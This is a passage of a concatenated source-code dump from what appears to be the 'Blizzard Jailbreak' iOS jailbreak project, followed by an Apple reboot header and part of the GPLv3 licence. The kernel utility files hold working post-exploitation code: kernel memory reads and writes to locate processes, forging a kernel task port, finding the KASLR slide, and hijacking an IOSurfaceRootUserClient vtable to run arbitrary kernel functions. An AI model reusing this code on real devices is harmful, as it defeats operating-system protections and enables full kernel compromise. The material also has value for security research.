return rk32(proc + off_p_pid); proc = rk64(proc); } return 0; } uint64_t taskStruct_of_pid(pid_t pid) { uint64_t task_kaddr = rk64(TaskSelfAddr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); while (task_kaddr) { uint64_t proc = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); uint32_t pd = rk32(proc + off_p_pid); if (pd == pid) return task_kaddr; task_kaddr = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV)); } return 0; } uint64_t taskStruct_of_procName(char *nm) { uint64_t task_kaddr = rk64(TaskSelfAddr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); char name[40] = {0}; while (task_kaddr) { uint64_t proc = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); kread(proc + off_p_comm, name, 40); if (strstr(name, nm)) return task_kaddr; task_kaddr = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV)); } return 0; } uint64_t taskPortKaddr_of_pid(pid_t pid) { uint64_t proc = proc_of_pid(pid); if (!proc) { printf("Kernel Utils: Failed to find proc of pid %d\n", pid); return 0; } uint64_t task = rk64(proc + off_task); uint64_t itk_space = rk64(task + off_itk_space); uint64_t is_table = rk64(itk_space + off_ipc_space_is_table); uint64_t task_port_kaddr = rk64(is_table + 0x18); return task_port_kaddr; } uint64_t taskPortKaddr_of_procName(char *nm) { uint64_t proc = proc_of_procName(nm); if (!proc) { printf("Kernel Utils: Failed to find proc of process %s\n", nm); return 0; } uint64_t task = rk64(proc + off_task); uint64_t itk_space = rk64(task + off_itk_space); uint64_t is_table = rk64(itk_space + off_ipc_space_is_table); uint64_t task_port_kaddr = rk64(is_table + 0x18); return task_port_kaddr; } // Original method by Ian Beer mach_port_t task_for_pid_in_kernel(pid_t pid) { // allocate a new port we have a send right to mach_port_t port = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // find task port in kernel uint64_t task_port_kaddr = taskPortKaddr_of_pid(pid); uint64_t task = rk64(proc_of_pid(pid) + off_task); // leak some refs wk32(task_port_kaddr + 0x4, 0x383838); wk32(task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT), 0x393939); // get the address of the ipc_port of our allocated port uint64_t selfproc = proc_of_pid(getpid()); if (!selfproc) { printf("Kernel Utils: Failed to find our proc?\n"); return MACH_PORT_NULL; } uint64_t selftask = rk64(selfproc + off_task); uint64_t itk_space = rk64(selftask + off_itk_space); uint64_t is_table = rk64(itk_space + off_ipc_space_is_table); uint32_t port_index = port >> 8; // point the port's ie_object to the task port wk64(is_table + (port_index * 0x18), task_port_kaddr); // remove our recieve right uint32_t ie_bits = rk32(is_table + (port_index * 0x18) + 8); ie_bits &= ~(1 << 17); // clear MACH_PORT_TYPE(MACH_PORT_RIGHT_RECIEVE) wk32(is_table + (port_index * 0x18) + 8, ie_bits); return port; } uint64_t ZmFixAddr(uint64_t addr) { static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; if (zm_hdr.start == 0) { // xxx rk64(0) ?! uint64_t zone_map = rk64(Find_zone_map_ref()); // hdr is at offset 0x10, mutexes at start size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); //printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { printf("Kernel Utils: kread of zone_map failed!\n"); return 1; } if (zm_hdr.end - zm_hdr.start > 0x100000000) { printf("Kernel Utils: zone_map is too big, sorry.\n"); return 1; } } uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; } uint64_t grabKernelBase() { printf("Obtaining KASLR slide...\n"); #define slid_base base+slide uint64_t base = 0xFFFFFFF007004000; uint32_t slide = 0x21000000; uint32_t data = rk32(slid_base); for(;;) { while (data != 0xFEEDFACF) { slide -= 0x200000; data = rk32(slid_base); } printf("Found 0xfeedfacf Mach-O header at 0x%llx, checking...\n", slid_base); char buf[0x120]; for (uint64_t addr = slid_base; addr < slid_base + 0x2000; addr += 8 /* 64 bits / 8 bits / byte = 8 bytes */) { kread(addr, buf, 0x120); // read 0x120 bytes into a char buffer if (!strcmp(buf, "__text") && !strcmp(buf + 16, "__PRELINK_TEXT")) { // found it! printf("\t The Kernel base at 0x%llx\n", slid_base); printf("\t KASLR slide is 0x%x\n", slide); printf("\t Kernel header is 0x%x\n", rk32(slid_base)); return slid_base; } data = 0; } printf("\tCould not find __text and __PRELINK_TEXT, trying again!\n"); } return 0; } ================================================ FILE: Kernel Utilities/kexecute.c ================================================ #import #import "kernel_utils.h" #import "kexecute.h" #import "../PatchFinder/patchfinder64.h" #import "../Exploits/sock_port/offsetof.h" #import "../Exploits/sock_port/include/IOKit/IOKitLib.h" #include "../Exploits/sock_port/kernel_memory.h" typedef int (*kexecFunc)(uint64_t function, size_t argument_count, ...); kexecFunc kernel_exec; mach_port_t PrepareUserClient(void){ kern_return_t err; mach_port_t UserClient; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == IO_OBJECT_NULL){ printf("Kernel Execute: unable to find service.\n"); exit(EXIT_FAILURE); } err = IOServiceOpen(service, mach_task_self(), 0, &UserClient); if (err != KERN_SUCCESS){ printf("Kernel Execute: unable to get user client connection.\n"); exit(EXIT_FAILURE); } printf("Kernel Execute: got user client: 0x%x\n", UserClient); return UserClient; } pthread_mutex_t kexecuteLock; static mach_port_t UserClient = 0; static uint64_t IOSurfaceRootUserClient_Port = 0; static uint64_t IOSurfaceRootUserClient_Addr = 0; static uint64_t FakeVtable = 0; static uint64_t FakeClient = 0; const int fake_Kernel_alloc_size = 0x1000; void initializeKernelExecute(void) { UserClient = PrepareUserClient(); IOSurfaceRootUserClient_Port = FindPortAddress(UserClient); IOSurfaceRootUserClient_Addr = rk64(IOSurfaceRootUserClient_Port + off_ip_kobject); uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_Addr); FakeVtable = kalloc(fake_Kernel_alloc_size); for (int i = 0; i < 0x200; i++) { wk64(FakeVtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); } FakeClient = kalloc(fake_Kernel_alloc_size); for (int i = 0; i < 0x200; i++) { wk64(FakeClient+i*8, rk64(IOSurfaceRootUserClient_Addr+i*8)); } wk64(FakeClient, FakeVtable); wk64(IOSurfaceRootUserClient_Port + off_ip_kobject, FakeClient); wk64(FakeVtable+8*off_getExternelTrapForIndex, Find_add_x0_x0_0x40_ret()); pthread_mutex_init(&kexecuteLock, NULL); if (UserClient){ printf("Kernel Execute: Successfully initialized Kernel Execute Module! \n"); return; } else { printf("Kernel Execute: Failed to initialize Kernel Execute Module! \n"); return; } } void terminateKernelExecute(void){ if (!UserClient) return; wk64(IOSurfaceRootUserClient_Port + off_ip_kobject, IOSurfaceRootUserClient_Addr); kfree(FakeVtable, fake_Kernel_alloc_size); kfree(FakeClient, fake_Kernel_alloc_size); } uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { if (kernel_exec) { return kernel_exec(addr, 7, x0, x1, x2, x3, x4, x5, x6); } pthread_mutex_lock(&kexecuteLock); uint64_t offx20 = rk64(FakeClient+0x40); uint64_t offx28 = rk64(FakeClient+0x48); wk64(FakeClient+0x40, x0); wk64(FakeClient+0x48, addr); uint64_t returnval = IOConnectTrap6(UserClient, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); wk64(FakeClient+0x40, offx20); wk64(FakeClient+0x48, offx28); pthread_mutex_unlock(&kexecuteLock); return returnval; } ================================================ FILE: Kernel Utilities/kexecute.h ================================================ #import #import uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); void initializeKernelExecute(void); void terminateKernelExecute(void); ================================================ FILE: Kernel Utilities/lzssdec.cpp ================================================ // // lzssdec.cpp // Blizzard Jailbreak // // Created by GeoSn0w on 8/11/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #include "lzssdec.hpp" // (C)2009 Willem Hengeveld itsme@xs4all.nl #include #include #include #include #include #include // streaming version of the lzss algorithm, as defined in BootX-75/bootx.tproj/sl.subproj/lzss.c // you can use lzssdec in a filter, like: // // cat file.lzss | lzssdec > file.decompressed // static int g_debug= 0; class lzssdecompress { enum { COPYFROMDICT, EXPECTINGFLAG, PROCESSFLAGBIT, EXPECTING2NDBYTE }; int _state; uint8_t _flags; int _bitnr; uint8_t *_src, *_srcend; uint8_t *_dst, *_dstend; uint8_t _firstbyte; uint8_t *_dict; int _dictsize; int _maxmatch; int _copythreshold; int _dictptr; int _copyptr; int _copycount; int _inputoffset; int _outputoffset; public: lzssdecompress() { _maxmatch= 18; // 4 bit size + threshold _dictsize= 4096; // 12 bit size _copythreshold= 3; // 0 == copy 3 bytes _dict= new uint8_t[_dictsize+_maxmatch-1]; reset(); } ~lzssdecompress() { delete[] _dict; _dict= 0; _dictsize= 0; } void reset() { _state=EXPECTINGFLAG; _flags= 0; _bitnr= 0; _src=_srcend=_dst=_dstend=0; memset(_dict, ' ', _dictsize+_maxmatch-1); _dictptr= _dictsize-_maxmatch; _inputoffset= 0; _outputoffset= 0; _firstbyte= 0; _copyptr= 0; _copycount= 0; } void decompress(uint8_t *dst, uint32_t dstlen, uint32_t *pdstused, uint8_t *src, uint32_t srclen, uint32_t *psrcused) { _src= src; _srcend= src+srclen; _dst= dst; _dstend= dst+dstlen; while (_src<_srcend && _dst<_dstend) { switch(_state) { case EXPECTINGFLAG: if (g_debug) fprintf(stderr, "%08x,%08x: flag: %02x\n", _inputoffset, _outputoffset, *_src); _flags= *_src++; _inputoffset++; _bitnr= 0; _state= PROCESSFLAGBIT; break; case PROCESSFLAGBIT: if (_flags&1) { if (g_debug) fprintf(stderr, "%08x,%08x: bit%d: %03x copybyte %02x\n", _inputoffset, _outputoffset, _bitnr, _dictptr, *_src); addtodict(*_dst++ = *_src++); _inputoffset++; _outputoffset++; nextflagbit(); } else { _firstbyte= *_src++; _inputoffset++; _state= EXPECTING2NDBYTE; } break; case EXPECTING2NDBYTE: { uint8_t secondbyte= *_src++; _inputoffset++; setcounter(_firstbyte, secondbyte); if (g_debug) fprintf(stderr, "%08x,%08x: bit%d: %03x %02x %02x : copy %d bytes from %03x", _inputoffset-2, _outputoffset, _bitnr, _dictptr, _firstbyte, secondbyte, _copycount, _copyptr); if (g_debug) dumpcopydata(); _state= COPYFROMDICT; } break; case COPYFROMDICT: copyfromdict(); break; } } if (g_debug) fprintf(stderr, "decompress state= %d, copy: 0x%x, 0x%x\n", _state, _copyptr, _copycount); if (pdstused) *pdstused= _dst-dst; if (psrcused) *psrcused= _src-src; } void flush(uint8_t *dst, uint32_t dstlen, uint32_t *pdstused) { if (g_debug) fprintf(stderr, "flash before state= %d, copy: 0x%x, 0x%x\n", _state, _copyptr, _copycount); _src= _srcend= NULL; _dst= dst; _dstend= dst+dstlen; if (_state==COPYFROMDICT) copyfromdict(); if (pdstused) *pdstused= _dst-dst; if (g_debug) fprintf(stderr, "flash after state= %d, copy: 0x%x, 0x%x\n", _state, _copyptr, _copycount); } void copyfromdict() { while (_dst<_dstend && _copycount) { addtodict(*_dst++ = _dict[_copyptr++]); _outputoffset++; _copycount--; _copyptr= _copyptr&(_dictsize-1); } if (_copycount==0) nextflagbit(); } void dumpcopydata() { // note: we are printing incorrect data, if _copyptr == _dictptr-1 for (int i=0 ; i<_copycount ; i++) fprintf(stderr, " %02x", _dict[(_copyptr+i)&(_dictsize-1)]); fprintf(stderr, "\n"); } void addtodict(uint8_t c) { _dict[_dictptr++]= c; _dictptr = _dictptr&(_dictsize-1); } void nextflagbit() { _bitnr++; _flags>>=1; _state = _bitnr==8 ? EXPECTINGFLAG : PROCESSFLAGBIT; } void setcounter(uint8_t first, uint8_t second) { _copyptr= first | ((second&0xf0)<<4); _copycount= _copythreshold + (second&0xf); } }; void usage(int argc,char**argv) { char *name = NULL; name = strrchr(argv[0], '/'); fprintf(stderr, "Usage: %s [-d] [-o OFFSET] \n",(name ? name + 1: argv[0])); } extern "C" int lzssdec(int argc,char**argv) { FILE *readFrom = NULL; FILE *outputDir = NULL; #define HANDLEULOPTION(var, type) (argv[i][2] ? var= (type)strtoul(argv[i]+2, 0, 0) : i+1 bytes while (skipbytes && !feof(readFrom)) { int nr= fread(ibuf, 1, std::min(skipbytes,(uint32_t)CHUNK), readFrom); skipbytes -= nr; } while (!feof(readFrom)) { size_t nr= fread(ibuf, 1, CHUNK, readFrom); if (nr==0) { perror("read"); return 1; } if (nr==0) break; size_t srcp= 0; while (srcp 0x%x\n", srcused, dstused); } } if (g_debug) fprintf(stderr, "done reading\n"); uint32_t dstused; lzss.flush(obuf, CHUNK, &dstused); size_t nw= fwrite(obuf, 1, dstused, outputDir); if (nw #ifdef __cplusplus extern "C" { #endif int lzssdec(int argc,char**argv); #ifdef __cplusplus } #endif #endif /* lzssdec_hpp */ ================================================ FILE: Kernel Utilities/system_reboot.h ================================================ /* * Copyright (c) 2000-2006 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* Copyright (c) 1995 NeXT Computer, Inc. All Rights Reserved */ /* * Copyright (c) 1982, 1986, 1988, 1993, 1994 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)reboot.h 8.3 (Berkeley) 12/13/94 */ #ifndef _SYS_REBOOT_H_ #define _SYS_REBOOT_H_ #include #include #include /* * Arguments to reboot system call. */ #ifdef __APPLE_API_PRIVATE #define RB_AUTOBOOT 0 /* flags for system auto-booting itself */ #define RB_ASKNAME 0x01 /* ask for file name to reboot from */ #define RB_SINGLE 0x02 /* reboot to single user only */ #define RB_NOSYNC 0x04 /* dont sync before reboot */ #define RB_HALT 0x08 /* don't reboot, just halt */ #define RB_INITNAME 0x10 /* name given for /etc/init */ #define RB_DFLTROOT 0x20 /* use compiled-in rootdev */ #define RB_ALTBOOT 0x40 /* use /boot.old vs /boot */ #define RB_UNIPROC 0x80 /* don't start slaves */ #define RB_SAFEBOOT 0x100 /* booting safe */ #define RB_UPSDELAY 0x200 /* Delays restart by 5 minutes */ #define RB_QUICK 0x400 /* quick and ungraceful reboot with file system caches flushed*/ #define RB_PANIC 0x800 /* panic the kernel */ __BEGIN_DECLS /* userspace reboot control */ int usrctl(uint32_t flags); /* The normal reboot syscall. */ int reboot(int howto); /* Used with RB_PANIC to panic the kernel from userspace with a message. * Requires an entitlement on Release. */ int reboot_np(int howto, const char *message); __END_DECLS #endif /* __APPLE_API_PRIVATE */ #ifdef __APPLE_API_OBSOLETE /* * Constants for converting boot-style device number to type, * adaptor (uba, mba, etc), unit number and partition number. * Type (== major device number) is in the low byte * for backward compatibility. Except for that of the "magic * number", each mask applies to the shifted value. * Format: * (4) (4) (4) (4) (8) (8) * -------------------------------- * |MA | AD| CT| UN| PART | TYPE | * -------------------------------- */ #define B_ADAPTORSHIFT 24 #define B_ADAPTORMASK 0x0f #define B_ADAPTOR(val) (((val) >> B_ADAPTORSHIFT) & B_ADAPTORMASK) #define B_CONTROLLERSHIFT 20 #define B_CONTROLLERMASK 0xf #define B_CONTROLLER(val) (((val)>>B_CONTROLLERSHIFT) & B_CONTROLLERMASK) #define B_UNITSHIFT 16 #define B_UNITMASK 0xff #define B_UNIT(val) (((val) >> B_UNITSHIFT) & B_UNITMASK) #define B_PARTITIONSHIFT 8 #define B_PARTITIONMASK 0xff #define B_PARTITION(val) (((val) >> B_PARTITIONSHIFT) & B_PARTITIONMASK) #define B_TYPESHIFT 0 #define B_TYPEMASK 0xff #define B_TYPE(val) (((val) >> B_TYPESHIFT) & B_TYPEMASK) #define B_MAGICMASK 0xf0000000 #define B_DEVMAGIC 0xa0000000 #define MAKEBOOTDEV(type, adaptor, controller, unit, partition) \ (((type) << B_TYPESHIFT) | ((adaptor) << B_ADAPTORSHIFT) | \ ((controller) << B_CONTROLLERSHIFT) | ((unit) << B_UNITSHIFT) | \ ((partition) << B_PARTITIONSHIFT) | B_DEVMAGIC) #endif /* __APPLE_API_OBSOLETE */ #endif /* _SYS_REBOOT_H_ */ ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of 